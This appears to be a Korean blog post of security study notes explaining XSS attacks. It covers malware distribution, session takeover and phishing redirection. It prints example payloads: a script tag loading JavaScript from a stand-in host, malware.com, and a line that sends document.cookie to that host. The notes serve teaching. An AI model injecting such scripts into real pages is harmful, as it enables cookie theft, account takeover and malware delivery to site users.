profile image

L o a d i n g . . .

XSS 취약점 공격이란?

  • 클라이언트 스크립트 (Javascript, VBscript 등) 를 이용하여 사용자에게 특정 행위를 하게 해서 악의적인 목적으로 이용하는 것

 

XSS 취약점을 이용한 공격 유형

1. 악성코드 배포

  • 공격자는 게시판에 악의적인 행위를 하는 스크립트를 삽입
<script src="http://www.malware.com/a.js"></script>
  • 사용자들이 해당 게시물에 접근했을 때 악성코드 배포사이트로 유도
  • 사용자는 자신도 모르게 악성코드(랜섬웨어, 개인정보 유출 등)에 감염

출처 : 보안프로젝트

 

 

 

2. 다른 사용자의 권한 획득

  • 공격자는 게시판에 악의적인 행위를 하는 스크립트를 삽입 사용자들이 해당 게시물에 접근했을 때 자신의 쿠키 정보를 공격자 서버에 전달 및 저장
<script>document.write('<img src="http://malware.com/'+document.cookie+' ">');</script>
  • 공격자는 획득한 쿠키 정보를 이용하여 다른 사용자의 권한 획득

출처 : 보안 프로젝트

 

3. 피싱 사이트 유도

  • 공격자는 게시판에 악의적인 행위를 하는 스크립트를 삽입
<script src="http://www.malware.com/a.js"></script>
  • 사용자들이 해당 게시물에 접근했을 때 자신도 모르게 조작된 사이트로 유도
  • 공격자가 조작한 입력 부분에 사용자는 계정 정보 입력 및 공격자에게 전달

 

 

자료 출처 
중앙대학교 산업보안학과 조정원 교수님 자료
복사했습니다!